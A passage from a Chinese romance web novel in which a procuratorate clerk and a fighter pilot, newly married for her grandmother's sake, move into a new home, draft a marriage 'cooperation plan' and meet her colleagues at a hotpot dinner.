唐苒刚才碰过冷水的手被冻红,像把他眼睛刺了一下,匆促撇开:“要不给奶奶请个保姆吧,平时她不用自己做饭,你过来也不用忙。”
“千万别,她勤俭惯了,回头你花钱不讨好,挨骂了别怪我。”唐苒把鱼籽小心翼翼地放盘子里,“家里装监控了,奶奶有什么情况我都能知道,她平时就喜欢种种菜,自己做点儿好吃的,闲下来反倒无趣。”
说着,她压低嗓音:“也没多久了,让她怎么开心怎么来吧。”
奶奶去年查出肺癌加心衰,唐苒没告诉她,只是死活不让她再住农村。搬到这儿医疗方便,万一哪天有个三长两短,她能第一眼见到奶奶。
这事她没瞒着宋泊峤,婚前家里的情况她全都讲清楚了。包括她之前相亲,就是为了让奶奶安心。
和他结婚也一样。
“嗯,你说得对。”宋泊峤认同,不再提保姆的事,把洗好的菜端到台面上,默默看了她几秒钟,才又开口:“苒苒。”
唐苒耳朵一跳,心口也猛地一颤:“……干嘛?”
“我之前……没谈过恋爱,也没考虑过这方面的事儿。”他一边切着土豆,一边缓慢地说。
冷不防提这个,唐苒一头雾水:“所以呢?”
“所以不太会照顾女生。”他低着头,把一块土豆转了个圈,“部队里一帮大老爷们儿,直来直往的,我也不会猜。”
“以后想让我干什么,你直接下指令,如果我做得不好,告诉我就成,你不用对我客气。”
唐苒不明白为什么突然对她说这些,只是心口难免触动,呆了几秒,点点头:“好。”
周末过来都是住奶奶家,今晚也不好例外。
奶奶为他们铺了新买的红色被褥,红得晃眼。
唐苒的房间里没有沙发,宋泊峤环视一周,清了清嗓:“我打地铺?”
唐苒:“你要不要再大点儿声?”
“……”
城中村比市里安静得多,这房子隔音好不好,唐苒也没有特别测试过,但奶奶耳力向来很好。
两人躺在床上井水不犯河水,开口都是悄悄话的音量:“宋泊峤,你睡觉小点声。”
“我打呼?磨牙?”
“没有,我是说你呼吸小点声。”
“要不我别呼吸了?”
“……”唐苒闭了闭眼,放弃这个话题。
又过一会。
“苒苒。”
她还是不太习惯被叫小名,反应都迟钝些:“……啊?”
“你觉得咱俩像尸体吗?”
唐苒差点被自己口水呛住。
“我是说。”身侧男人吐息绵长,把黑夜都染上暧昧,“能不能靠近点儿?”
5. 第 5 章
唐苒所有神经都像被牵向了那边。
郊区气温低,在奶奶家她舍不得开空调,电费都是奶奶自己交,觉得冷,也没好意思说。
宋泊峤这话,倒给了她靠近热源的理由。
她不明白为什么同样是人,女孩子就怕冷一些,某人只要躺在那儿,就像一个巨型暖宝宝。
随着她细微的挪动,热度从那侧包裹过来,带着男人特有的气息。
黑暗间,宋泊峤似乎也向她靠近了点。
“经理晚上来电话了,他已经收到电子合同,明天我们去拿新房钥匙。”
他的声音仿佛就贴在耳边,唐苒忍不住屏息:“……嗯。”
“明天你还有别的事吗?”
“有。”唐苒望着头顶的漆黑,眼神没聚焦,“下午三点到五点上网课。”
“什么课?”
“司法考试。”
“那我叫人把家具搬了,再买点儿东西,你安心上课,我弄完叫你吃晚饭。”
“好。”
空间安静了一会儿,唐苒还是不太困,闭上眼又睁开。
忽然听见他声音:“苒苒。”
“嗯?”她一边回应,一边下意识转过头。
那瞬间瞳孔放大,呼吸暂停,心脏剧烈颤抖了一下。
不知两人怎么挪得这样近,也不知他这么侧着头看她多久了,漆黑中唯一发亮的眼眸,像磁铁般吸着她。
似乎察觉到她的僵硬,宋泊峤从被窝里拿出的温暖手掌,轻轻落在她头顶上。掌根遮住她眼睛,安抚地揉了揉头发丝:“睡吧。”
手掌带着舒缓的温度和力道,嗓音像催眠,唐苒觉得自己仿佛变得比被褥还要软,沉下去,精神彻底地松懈。
第一次和男人在同一张床上,安安稳稳睡到天亮。
醒来的时候,屋里只剩她自己,被子也裹得紧紧的,好像没有另一个人存在过的痕迹。
除了那侧枕头凹陷的形状,和被窝里残留着那股不属于她的男性气息。
唐苒鬼使神差地深呼吸,闻了闻,整个人好像被覆上一层酥麻的醉意。
突然意识到自己在干什么,她猛坐起来,用力拍了拍莫名其妙发神经的脑袋。
真是魔怔了。
时候不早,想起今天要去拿新房钥匙,唐苒立刻洗漱换衣,奶奶在客厅给花瓶里的百合和腊梅剪造型,厨房里传来水声。
“宋泊峤呢?”她问。
奶奶往厨房看了眼:“六点就起了,出去跑步,买早餐,这会儿在装那个速热水龙头。”
唐苒一愣:“什么速热水龙头?”
“一大早快递送来的,咱们那个热水器阴天不是不好使吗,小宋说装个速热水龙头,不冻手。”奶奶笑得十二分满意,凑近她小声说:“你挺会选,是个会疼人的,我可以向你爷爷交代了。”
厨房玻璃门反光,唐苒只能隐约看见一道忙碌的虚影。
她努力想要看清,却被奶奶拍了拍肩膀:“快去吃早餐,人家买了好几样给你挑。”
“……”
城中村的早餐店不多,种类也单调,他不知道跑多远,竟然买到了牛肉肠粉。还有蟹脚面,海带丸子汤,虾仁粥。
唐苒很少吃到这么丰盛的早餐,上班路上也就是随便买一样填饱肚子,周末更不用说。
她突然想起昨天上午,自己抱怨他没买早餐,他会错意的话。
还有做午饭时,他那番没头没尾的解释。
唐苒好像明白了什么,往厨房看了一眼,宋泊峤正好推门出来。
空气是凉的,彼此目光却交汇出暖意。
唐苒心跳像漏了一拍,仓促垂眸,专心解决起早餐。
宋泊峤叫奶奶过去,教她用新的水龙头,慵懒磁性的声线隔着一道门,越过空气里百合腊梅的冷香,莫名撩热她耳朵。
两人离开时,奶奶往唐苒手里塞了一大包炸油条。
切成薯条大小的油条,炸得金黄酥脆,裹上辣椒和孜然粉,平时当零嘴,比外面买的好吃又健康。
唐苒从小爱这一口。
鼻头一酸,她抱得很紧很紧:“下次回来您教我做吧。”
满脸皱纹挤成一个笑:“好。”
渐行渐远,奶奶倚着门,抬手向车尾摆了很久。
“我奶奶很喜欢你。”唐苒从后视镜看着人影消失在拐角,才收回目光。
宋泊峤笑了笑:“跟我没关系,她是相信你的眼光。”
唐苒转头凝视他片刻:“宋泊峤,我发现你很会哄人。”
“是吗?”
她表情认真地点点头。
男人轻勾着唇,惬意地靠在后座椅背上,两人的距离比第一次坐车近了许多。
手伸进裤兜里拿东西时,胳膊碰到了她的胳膊。
唐苒眼睫颤了颤,眼瞧他那只手摊开了递过来,掌心躺着一对纯白色珍珠耳钉。
是昨天她耳朵上那对。
唐苒怔愣着抬手去拿,耳钉却被他忽然攥住,收回去,语气带着调侃:“得亏我回房检查一遍。”
他脸颊凑得近,热气蒸腾,唐苒脑袋一阵酥麻,晕乎乎的。
略微粗粝的手指碰到她耳垂,以十分温柔的力道捏住,同样浸染了男人体温的银针穿进耳洞。
他手很大,操作起这种精致的小东西显得动作生涩,迟缓,太过小心翼翼。
时间仿佛被无限慢放,唐苒差点忘记了呼吸。
直到男人低磁的嗓音摩挲她心口:“那只耳朵。”
她愣着没动。
宋泊峤轻轻扳过她肩膀,侧头低下,呼吸烫到她另一边耳朵。
这下两边都一样红了。
粉色耳垂配白珍珠,他满意欣赏着自己的杰作。
*
昨天买的家具全都安装到位,虽说是拎包入住的精装房,为了身体着想,宋泊峤还是打算先找专业人士来测测甲醛,并网购了空气净化器。
下午唐苒回租房上课,他去添置一些生活用品。
同住一屋的孟芝是二部的,二部主管职务和行政犯罪,这阵子风声紧,才抓了十几个学校负责人,贪污数目巨大,二部和纪委配合审查,已经好几天没回家。
下午四点多,唐苒喘口气休息,倒了杯蜂蜜柚子茶,孟芝房间的门突然被打开。
她吓一跳,连忙捧住差点殉职的杯子:“你什么时候回来的?”
孟芝薅了把头顶的短发,抬起一对黑眼圈,要死不活的语气:“早上七点。”
唐苒忍不住心疼她:“案子结束没?”
“查清楚了,数目全对得上,就是不知道该怎么办,检察长和纪委的黄局为这事儿发愁呢
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。”孟芝叹着气过去接水,“传出去影响太坏。”
唐苒靠在沙发边抿着柚子茶,看了孟芝几眼,没忍住:“你们二部的事儿,我能多嘴不?”
孟芝疲惫地笑了笑:“咱俩有什么藏着掖着的。”
“现在你们担心舆论,投鼠忌器,没准儿正是人家想看到的。”她指尖敲着玻璃杯壁,锐利的目光落在晶莹剔透的柚子果肉上,“把这么多负责人一锅端,教育系统得瘫痪吧,人民群众得骂吧,咱们市一直以来的好名声也算白搭了,以后人家提到奚城,就是个腐败窝子。”
孟芝敛眉沉思。
“我的意见,千万别抓大放小,全都按着,审查结果也别泄露,看谁先沉不住气。”
孟芝望过来:“你是说……”
唐苒走到料理台边洗杯子:“敢这么跟检察院和纪委叫板,说后面没条大鱼我都不信。”
孟芝摇摇头:“检察长也这么想过,可那几个嘴巴太紧,一口咬定是自己鬼迷心窍。总不能把全市领导都查一遍吧?”
“当然得查,不过用不着大动干戈。”唐苒走到她旁边,胳膊搭在水吧台上,托着下巴懒洋洋说,“近半年要退休的,调任出去的,总之要离开奚城或者有离开迹象的,都可以重点怀疑。哦对了,特别是那种铆足了劲儿想升又升不上去,怨气滔天的。”
孟芝疲惫的眼睛瞬间起光,盯着她笑了几声:“这三年真是浪费你光阴。”
“谁说不是呢。”唐苒回到沙发,课间休息结束,她戴上耳机继续听课。
因为大学不是法律专业,她不能参加司法考试,更没有机会碰案子。在案管部蛰伏三年,才终于有资格报名。
“晚上吃什么?”孟芝问她。
唐苒摘下一只耳机:“不用管我我出去吃。”
“行吧。”孟芝耸耸肩,“最近神神秘秘的,不会是谈恋爱了吧?”
唐苒:“没谈恋爱,结婚了。”
孟芝张大了嘴巴,十几秒才合拢,笑着说了声“别闹”。
明显没信。
唐苒五点下课,宋泊峤说在社区的公共停车场。
她东张西望找人和出租车,却在打通电话时,见到那抹熟悉的身影从一辆宝马SUV的驾驶座出来。
唐苒目瞪口呆地走过去,瞄一眼他手里的车钥匙:“……租的?”
“买的。”一句话,把她心脏冲击得七零八落。
宋泊峤搭上她肩膀,如今她已经习惯这姿势,和两人贴近的距离。顺着他的力道走过车头,坐进副驾驶。车里弥漫着清淡的柠檬香氛,还是没办法让她平静。
宋泊峤显然不差钱,三百多万的房子,大几十万的车,对他来说都是一拍脑门就能决定的事。
她心里却有种不真实的漂浮感。
“想什么?”宋泊峤发动车子,没急着走,看向这边。
顶着男人炙热的目光,唐苒脑海浮现出一句话:门不当,户不对。
如果是谭喆那样的条件,她努努力觉得还能够上。可她和宋泊峤之间,恐怕隔了好几个谭喆。
“我觉得……”唐苒咽了咽嗓,无比艰涩地出声,“我们……不太合适。”
“是吗?”男人单手转了圈方向盘,车子平稳地开出去,嗓音也镇定如常地飘向她耳朵,谈笑间酥了半边:“没办法,那也晚了。”
6. 第 6 章
唐苒只知道他父母是工薪阶层,但她没想过,工薪和工薪不一样。
她每个月满打满算几千块工资,与人合租几百块的房子,人家却能大手一挥三百多万。如果早点问清楚,她会知难而退。
过了很久,轻飘的嗓音打破沉寂:“宋泊峤。”
男人勾着唇:“嗯?”
“等我奶奶……”她顿了顿,攥紧手指,“等送走她……以后,如果你想离婚,随时跟我说。”
宋泊峤微一皱眉,唇线抿直。
“合则聚,不合则散,我不会纠缠不清的。”本来他们就是两个世界的人。
对面沉默片刻,直到她转头去探寻,才哑声开口:“那你呢?”
嗓音从未有过的凉:“你因为奶奶而结婚,因为我一句话也可以离婚,你就没想过你自己?”
“我无所谓啊。”唐苒笑了笑,云淡风轻地望向窗外,“婚姻就是合作,在一起的时候履行责任,经营家庭,抚养孩子,要分开就干净果断,互不打扰。很简单的事情,想太多做什么?”
她自始至终没提过一个情字。好像结婚对她来讲,真就是理智清醒的合作。
车依旧开得平稳,宋泊峤脸色却晦暗不明。
他许久没说话。
直到拐进一片停车场,才若无其事地扯了扯唇:“行,合作愉快。”
这顿饭气氛不太对,唐苒吃得也心不在焉,她知道自己那番话有些不近人情,可她也没办法,只能装傻充愣到回酒店。
问他今天要一起睡床吗,宋泊峤刚给她检查完房间,确定没有摄像头,又到门口穿上鞋:“约了朋友,你早点休息。”
唐苒稍愣了下,才点头:“哦。”
宋泊峤手按住门,轻叹一声后解释:“男性朋友。”
“……”
*
方景明刚下班就被逮个正着,和宋泊峤在江边的大排档涮火锅。
“她可不是什么简单人物,应届生一次上岸,当时因为学校一般,也不是法律专业,所以安排在行政。一开始王局就说这姑娘心气儿高,早晚坐不住,这不,刚熬满三年就报了司考。人家这是一门心思要办案,还非得去一部发光发热。”
“追过她的男生光我们警局就十几个,人家情书没收过,微信不给,礼物全扔,整一个油盐不进。”
“你是挺能啊,直接给人拐民政局去了。”方景明睨他一眼,轻笑,“招蜂引蝶的脸没白长。”
“话说回来,你俩怎么认识的?”
宋泊峤不动声色地撇开目光,喝了口酒:“回来办事儿,偶遇。”
方景明满眼凉飕飕:“叫你见一面比登天还难,您倒有闲情雅致搞艳遇。”
宋泊峤不示弱地回:“是谁说好了一起报空航,结果放我鸽子的?你和纪勇那帮孙子在江城舒坦,我一个人在长春待四年,骂过你没?”
“那不是我妈生病了么,那时候我要上军校,几年回不了家的,连她最后一面都见不着。”方景明叹了一声,和他碰杯,“不过小唐这姑娘什么都好,就是经历挺复杂。”
宋泊峤放下酒杯,往锅里下肉片。
“这事儿没几个人知道,还是政审的时候听王局讲的,你俩都结婚了,我也就不瞒你。”方景明放下筷子,“她爸你知道是谁吗?”
宋泊峤记得那个名字:“唐明达。”
“那你知道他干啥的不?”
沉默的眼神代表了答案。
除了调查表上的父母姓名和一些简单信息,她只说父母离婚,如今都和她毫无关系。宋泊峤不在乎,也没多问,毕竟离婚很正常。
“当初奚城的明顺实业,她爸是幕后老板,那齐总就是个跑腿的。”
明顺实业的名号,小时候算是如雷贯耳,政府大楼,新火车站,国贸大厦都是明顺实业承建。
但当初大家熟知的是一位姓齐的老总。
“后来公司财务危机,齐总卷款跑了,没跑出国门就被捕。但那些钱下落不明,齐总被判了二十多年。唐明达呢,从那以后生意就不太顺,好在瘦死的骆驼比马大,日子也不错。”
“哪知道后来在外面包了个二奶。”
“唐苒这姑娘,照理说是重点大学的苗子,成绩一直挺好,在学校那是风云人物。就高三那年,他爸包二奶被发现,父母离婚,她情绪自然也受了影响,只勉强考上个二本。”
“你那会儿不知道她?”方景明笑着看过来,“我没跟你讲过啊?有个高一女生在辩论赛上把咱们学委怼哑巴了,长得漂亮脑子也灵,高二那富家子弟还追过她好一阵儿呢。”
“我没那么八卦。”宋泊峤沉着脸,仰头闷了口酒。
他怎么会不知道?
他还记得当年市里的辩论赛转播,谈起家庭主题,她分明还不是那么冷漠的态度,甚至对爱情还有希冀。
但他不知道她经历过那么多,也无法想象是怎样的心理煎熬,能让她彻底颠覆了认知。
方景明刚结束一个大案,明天休息,兴致勃勃喝多了酒。后来宋泊峤把他塞进出租车,还搂着他脖子嚷嚷:“老宋我看好你,你比谭喆那小子强……”
“不过我悄悄告诉你啊,法院有个朱科长,觊觎你老婆很久了……”
“人家一表人才,事业有成,家里两个矿,你可千万看紧点儿……”
宋泊峤满脸黑线地掰开他手,甩上车门:“师傅,上合园6幢。”
*
唐苒等到十点多,宋泊峤还没回来,就占了半边床先睡。
她明天要上班,不能熬夜。
后来迷迷糊糊觉得燥热,身体像被什么禁锢着,意识短暂地浮上浅滩,又因为太困,沉下去了。
第二天早上醒来才破案。
燥热是男人的体温,禁锢感是那双铁钳般的胳膊,而她的脸颊紧贴着浴袍领口边缘,稍微一动,差点钻入那令人遐思的缝隙。
唐苒屏住呼吸,想看他醒着没,有没有悄悄撤退的可能,然而一抬头,被拽入那双漆黑的眼。
“早上好。”淡粉薄唇勾起来,硬朗的眉眼,以逸待劳的表情像一匹静等猎物的狼。但许是清晨的阳光慵懒,显得不那么有侵略性,更
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像一只随时使坏的狐狸。
唐苒垂下眸,尴尬得头皮发麻:“昨晚你……什么时候回来的?”
宋泊峤盯着她:“你是不是该问,昨晚你做了什么?”
“做了什么?”唐苒不自觉攥紧他腰间的浴袍,感觉到里面的热度,又触电般弹开。
“你说冷,往我怀里钻。”
冷?她明明很热。
可她抬头看向宋泊峤,对方眼神不躲不闪,没有说谎的微表情,也没有揶揄的迹象,认真得不能再认真,淡定得不能再淡定。
“对不起。”就当她投怀送抱好了,还要上班,她不想浪费时间较真。
这句对不起,也为她昨天过于直白的话。
或许她应该迂回些的,不至于让宋泊峤觉得她不近人情。
“没事儿。”男人云淡风轻勾着唇,“我是你老公,应该的。”
一声“老公”贴着她头顶,烫红了半边脸颊。
睡衣都快被她揪破。
直到手机闹铃响起,她着急忙慌地跳起来,去浴室洗漱。
宋泊峤点的早餐也送到。
这季节早上的风还挺冷,但有了车,送她上班不必吹风,直接从酒店地库开起来。
伴着停车场门口“一路顺风”的语音,唐苒坐在副驾驶,埋头啃煎饼果子。
早上那阵劲儿还没缓过来,睁眼闭眼,都是若隐若现的胸肌轮廓,和男人怀里令人燥热的温度。
裹了她整宿的男性气息一丝丝从驾驶座飘过来,每一缕都教人浮想联翩。
醒来时,她好像还摸了他的腰……
唐苒深吸了一口气,企图用新话题让记忆翻篇:“你在奚城有朋友啊?”
“高中同学,毕业后回来工作的。”
“……哦。”她又没话了,继续啃煎饼果子。
开车比走路快得多,到单位门口时,离上班还早。唐苒啃完煎饼果子又喝了杯豆浆,饱了,宋泊峤给她拿纸巾。
她一边擦嘴,一边看着男人递过来一张A4纸。
唐苒错愕地接住:“这什么?”
“合作计划。”宋泊峤胳膊肘搭在窗框上,侧头望着她抬了抬下巴,“有意见可以提。”
唐苒一条条看下去,基本都是婚姻内义务。一年看父母几次,春节安排计划,平时视频电话时间和频次,休假期间家务归属,当然,大部分归他。
以及最后一条——
【夫妻生活有益于合作效率,为维持家庭关系稳定,休假期间,应保证每天至少一次。】
唐苒脸颊发热,手也汗了,但这属于合理要求,她没意见可提。
左下方宋泊峤已经落款,她在右侧签完名,才发现末尾还有排小字:2月8日起生效。
2月8日是他们领证的日期。
别的都好说,她面色为难地看了眼最后一条,微潮指尖摁住那个小小的标号“12”,迟疑开口:“这个……也从8号开始算?”
宋泊峤食指微屈抵住额头,仿佛在认真思考,几秒后,意味深长地望向她:“嗯,欠着吧。”
7. 第 7 章
宋泊峤看着她落荒而逃的背影,昨晚那点儿小情绪一扫而空。
唐苒上周五请假领证,知道这事儿的只有顶头上司。同办公室的张姐看见她从车上下来,等她进楼,吸溜着面条跟在后边八卦:“什么情况?新追求者啊?开宝马的这么有钱,小朱有对手了。”
“别闹张姐,我结婚了。”唐苒没打算藏着掖着,回头瞅一眼,车已经被台阶挡住,压低嗓音,忍着一股别扭开口:“那是我老公。”
完全陌生的词汇,舌头好像被烫了一下。
张姐指着她呵呵笑:“真幽默。”
“……”
一上午,过来办事的总要顺口问一句,她都是同样的回答,人家也同样不相信。
*
宋泊峤上午叫空气质量检测公司去新家测了测甲醛,午饭唐苒没空理他,自己在外面随便解决一顿。
回酒店睡了个午觉,没事可干,又开车溜达到检察院。
老城区规划的停车位少,附近路边都停满了,只剩宽敞的单位大院。
宋泊峤在门卫岗亭前降下车窗,摁了摁喇叭。
岗亭窗户被打开,一个头顶锃亮,两鬓花白的老大爷,神气地昂着头:“干嘛的?这是检察院,要停车去别处停,朝上走两公里有个饭店。”
宋泊峤平时也傲慢,这会儿难得低下态度:“叔,行个方便,我接唐苒下班。”
“接下班来这么早?”大爷嘀咕一声,从窗户里看这张生面孔,目光掺了丝八卦,“追小唐的吧?我跟你说,咱们单位和兄弟单位追她的小伙子数都数不清,你是长得比人家体面,开个好车,也不能搞特殊化吧。”
话虽如此,多看了会儿宋泊峤那张脸,长得帅就帅吧,笑起来还那么好看,怪招人喜欢的。态度不免有些松动,问他:“哪个单位的?”
宋泊峤如实交代:“39602部队。”
大爷说起话滔滔不绝,却似乎有点耳背,侧了侧耳朵:“啥?干嘛的?”
对街墙上还贴着春节档爱国电影的宣传海报,海报上的歼-20战机威武霸气,剑眉星目的男主演脸上写满密密麻麻的表白签名。
宋泊峤下巴抬了抬:“开那个的。”
大爷这会儿听见了,恍然大悟:“哦,演戏的啊。”
“……”
“现在的年轻人不容易,这么俊的小伙子都不出名儿,要放在我们那年代……”大爷莫名其妙起了恻隐之心,拿着遥控器从门卫室走出来,升起横杆,嘴里叨叨不停,“不过我跟你说,你长这么花里胡哨,小唐不会喜欢你的。”
宋泊峤来了兴致,倒不急着开进去了:“哦?她喜欢什么样的?”
“老实稳重点儿的。”大爷煞有介事,“法院有个小朱,长得就周正,一看就是老实人,小唐被他约出去两次呢。”
又是姓朱的。
宋泊峤想起方景明那话,脸色微变,但依旧漫不经心地勾着唇:“什么时候?”
“去年秋天吧。”
男人眼底泛出点冷意:“去年都过完了,改朝换代了叔。”
说完,启动车子。
大爷叫住他:“证件拿过来,登个记。”
“哦。”宋泊峤打开扶手箱,把身份证和军官证扒到一边。
手指夹着递出去的,是一个红本子。
“结婚证”三个大字跃然眼眶,大爷瞬间愣住。
宋泊峤慢条斯理地翻开内页,露出红底照片上依偎的身影,大爷两鬓花白的头发仿佛被冻结。
“……”
*
三楼角落的行政办公室,张姐在对面摸鱼玩手机,端着保温杯嘬了口,乍一阵猛咳。
唐苒专注中被打扰,推了推鼻梁上的防蓝光镜,越过显示屏看向她:“怎么了?”
张姐瞪大眼,嗓音颤抖:“你真结婚了?”
唐苒波澜不惊地收回目光,继续做表格:“骗你干嘛。”
张姐放下保温杯,抚着心口平复许久:“老李头在群里说,门口一帅哥要进来等你下班,他以为是追求者,结果人拿着你俩的结婚证。我靠,老李头还把朱科长供出来了。”
唐苒一边干活,一边左耳进右耳出:“一天到晚没事儿净八卦。”
她和法院的朱科长就是清清白白的同僚关系,向他请教过非法律专业参加司考的相关经验而已。
“老李头一把年纪了,就这点儿乐子。”张姐仍旧不敢相信,盯着她,一字一句确认:“你真结婚了?”
唐苒淡淡撩了眼:“骗你司考能包过吗?”
“……”张姐嘴角一抽,还真是唐苒能说出来的话。
她又在群里看了会儿,实时报告老李头动向:“说你对象长得花里胡哨的,不像老实人,不如朱科长稳重。”
这次轮到唐苒被口水呛住,喝了点儿白茶润润嗓,干笑:“怎么,我就得找个丑的?”
张姐撇嘴:“老李头也是,都当自个儿儿子闺女,管得宽。”
突然她眼一亮,抬高手机:“哟,还拍了张照片。”
唐苒注意力都在工作上,张姐的声音像背景乐一样在脑子外嗡嗡。
“啧,老人机能拍出这效果?没天理。”张姐敲敲她桌子,“你对象干什么的?”
“军人。”
“卧槽,我就说当年得去部队挑人吧,帅的都上交国家了,外面净剩些歪瓜裂枣。”
唐苒面色谨慎地瞥了眼门口:“小点儿声,当心陈检听到,回去家法伺候你。”
张姐嘴上凶巴巴:“他敢!”
脸颊却悄悄染了色。
唐苒“噗嗤”笑出来。
桌面冷不丁一震,她看向骤然亮起的手机屏幕。
是宋泊峤:【在单位楼下等你。】
后面还附了张检察院大楼的照片。
唐苒上班不爱回私人消息,只要不是十万火急,通通等忙完再说。这会儿却难得不平静,心口像钻了个痒痒挠。
犹豫片刻,把手机拿过来敲字:【知道了。】
宋泊峤:【门口那老头儿挺可爱。】
唐苒:【那是老院长的父亲,你对人客气点儿。】
宋泊峤:【我很凶吗?】
唐苒:【还行。】
宋泊峤:【哦,不老实呗。】
【忘了唐检察官喜欢老实稳重的。】
唐苒差点没憋住笑:【别乱叫,我不是检察官。】
【你听谁说的?】
宋泊峤:【你的老院长父亲。】
唐苒:【……】
【我忙了,不跟你说了。】
宋泊峤回过来一个表情包,卡通猫咪头,上面飘着排歪歪扭扭的可爱风字体:好的老婆。
她抬手托住微热的脸颊
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,把手机屏幕扣过去。
有老李头热心散播八卦,很快,整个单位的人都知道唐苒的老公下午三点就在单位院子里等着。
对面张姐盯着手机笑得花枝乱颤,唐苒早就屏蔽八卦群,不知道他们在讲什么。
直到张姐叫了她一声:“小唐,今晚有空不?请新家属吃个饭吧。”
唐苒忙不迭摇头:“不用,心领了。”
“别啊,头一回见到正儿八经开战斗机的,让大家开开眼行不?”张姐大气磅礴地抬手,“国际惯例,不许拒绝。”
唐苒无奈地笑。
张姐在群里发了几条消息,再询问她意见:“我老公他们一部难得有空,一起热闹热闹,可以不?反正都熟人。”
一部是刑事检察部,也是唐苒一直想去的地方,心底忍不住激动了下,点头:“好。”
张姐开心地挤眉弄眼:“那就这么说,今晚去我家,陈检亲自下厨。”
“火锅吗?”唐苒抬眸,略带打趣的眼神。
“火锅也考验厨艺的。”张姐为自家老公挽尊,“你敢说他炒的底料不好吃?”
唐苒满脸乖巧:“哪敢挑剔陈大师手艺。”
有朝一日她调去一部,可是要在陈检眼皮子底下讨生活的。
张姐:“机灵点儿,提前把师父哄好了,到时我跟他说两句,他肯定愿意带你。”
唐苒靠在椅背上望天花板:“还不知道司考能不能过呢。”
“放心吧,连你都过不了,天理难容。”张姐拿着保温杯起身,去茶水台加开水。
唐苒工作有多认真,为了能调去检察部有多拼,所有人有目共睹。
她就像一个断情绝爱的工作机器,好不容易有个谭喆,吹了,从那以后更加断情绝爱。
谁能料到她突然闪婚?
*
宋泊峤在车里等了两个多小时,终于等到检察院下班。
唐苒出来得晚,他伸长脖子目送走一批批同事,最后才看到她和张姐。
张姐在门口对她说了句什么,往另一个方向去了。
唐苒径直走向他们的新车。
宋泊峤还不知道今晚有饭局,边启动车子边问:“想去哪儿吃?”
“张姐和一部的同事请聚餐,说欢迎欢迎你。”唐苒观察着他的表情,“太热情了,我没好意思拒绝,之前同事结婚也都请了家属的。”
不确定他愿不愿意见自己同事,毕竟合作条款没涉及,这种社交场合他未必喜欢。
宋泊峤十分淡定地握着方向盘:“好。”
唐苒暗自松了口气:“就这一次,以后我尽量避免。”
“没事儿,用不着。”宋泊峤系上安全带,车子拐弯开向门口,“地址?”
唐苒报了张姐家小区,又转头问他:“你酒量怎么样?”
男人垂眸看过来,要笑不笑的,唐苒心跳蓦地一顿。
“……张姐老公挺能喝的。”她凝神静心,认真提醒他,“我怕他今晚灌你。”
宋泊峤自动将她的提醒解读为关心:“怕什么,你老公也挺能喝。”
唐苒撇开发热的脸颊,望向窗外。直到扶手箱传来轻微的响声。
回头一看,宋泊峤右手搭在上面,掌心朝向她。
唐苒抿了抿唇,想装没看到,一道低音烫热她耳朵:“抱都抱了,还不让牵?”
8. 第 8 章
唐苒半天红着脸憋出来一句:“那是意外情况。”
昨晚她都睡死了,宋泊峤那话的真实度还未可知,她不信自己真是那种投怀送抱的人。
“你说慢慢来,这都第四天了,照乌龟爬也该有进展了吧?”宋泊峤手依旧搭着,不牵到不罢休的架势。
唐苒看向前方车流:“单手握方向盘是错误行为。”
宋泊峤笑了出声:“你不是没驾照?”
“我考过科一了!”唐苒激动地转过来。没留意没警惕,男人的手越过扶手箱,直接握住她轻攥的拳头。
下意识的挣扎过后,被握得更紧,男人手掌的温度和薄茧的摩擦感,仿佛渗透肌肤的毛孔,直抵心脏,搅得一颗心又燥又麻。
“有时间去考完吧。”罪魁祸首若无其事地笑着,“车放在家,你也能开。”
“我现在哪有时间。”唐苒叹了一声,低下头,望着两人第一次牵住的手,思绪恍然飘远。
是从什么时候开始呢?街不逛了,驾照不考了,饭也不做了,衣服攒一周一洗,除了工作和考试,只剩人类生存的基本需要。
还记得十八岁到江城上大学,看着省会的高楼大厦,玻璃幕墙映照出流光溢彩的天,车水马龙,人影幢幢,她对岑念说外面的世界真繁华,有机会要去上海,去北京,去澳门去纽约,看遍不同城市的夜景。
也曾喝了点酒,随手指着马路上疾驰而过的跑车说,将来买辆车带姐妹兜风。
然而大学毕业前报名的驾照考试,到现在只考过科一。
指背忽然一阵痒,她错愕地望向驾驶座,阴天傍晚的灯光下轮廓略深的那张脸。
指腹摩挲,拉扯着她的注意力,让她猝不及防地陷入那双浓墨般的眼底,像落在温暖的柔波上,情绪被抽空,毫无意识地起伏。
小区不远,十多分钟就到了,唐苒来过,指挥宋泊峤找了个较近的车位。
“就前面那栋?”他仰着头,下颌线把灰蒙蒙的天空切割开来,硬朗而利落。
唐苒回过神,忙不迭点头:“嗯,13楼。”
宋泊峤毫不迟疑地牵住她手。
唐苒整个人一僵,下意识往回扯,皮肤摩擦间升腾起燥热,让她后背出汗,手心潮湿。他的手掌却始终干燥有力,像铁钳般将她包裹得严丝合缝,无法逃脱。
唐苒亦步亦趋,恍惚地跟着他进电梯,上楼,直到张姐听见动静出来迎接。
陈检在厨房忙着,一部的同事们在客厅聊天,唐苒向他介绍:“张姐,和我一个办公室,那是她老公陈检,这是刘检,小汪,若若。”
刘检和陈检一样看着稳重,年纪稍大些,小汪有点社恐,捏着瓜子,表情腼腆地点头打招呼。
若若是女孩儿,像刚毕业的大学生,对着宋泊峤按捺不住星星眼:“你好你好,兵哥哥。”
一群人哄堂大笑。
唐苒接过张姐递来的茶,问:“何卓没来?”
“说家里有事儿,就数他最忙。”张姐摇摇头,低着嗓音回,“不来更好,省得给你添堵。”
唐苒笑:“我是那么小气的人么?”
张姐:“你大度,人家未必啊。我去给老公搭把手,你自个儿招呼小宋,别让他拘束。”
“放心吧,他就不是拘束的人。”唐苒挨着宋泊峤坐到沙发上,这人已经跟刘检聊起来。
两个肚里有货的人,一下把小汪和若若撇到一边。
小汪还在努力加入话题,若若过来找唐苒八卦:“怎么认识的?”
若若看着年龄小,其实政法大学硕士毕业,和唐苒同岁。
唐苒懒得编,实话实说:“大街上。”
若若自带浪漫细胞,兴奋地瞪大眼:“我去,一见钟情?”
“……”唐苒嘴角一抽。
放在腿上的右手被握住,旁边的人替她回答:“是,我对她一见钟情。”
客厅一阵起哄,唐苒忍不住脸都热了,带着责备看宋泊峤一眼,对方却眉眼含笑,温和恣意,好似她一拳打在棉花上,反而被柔软包裹得晕乎乎。
满脑子放电影般回旋着男人半真半假的嗓音,像中了什么魔咒。
宋泊峤转头又和刘检聊起正经话题,好像未曾参与这边的八卦,握着她的手却没有再松开。
火锅备好,男女分开坐,宋泊峤被夹在陈检和刘检中间,这架势不言自明。
唐苒拽拽张姐袖子,小声:“明天还上班,要陈检少喝点儿。”
“放心,他醒得快。”张姐撞撞她肩膀,“你到底是关心我老公还是心疼你老公?”
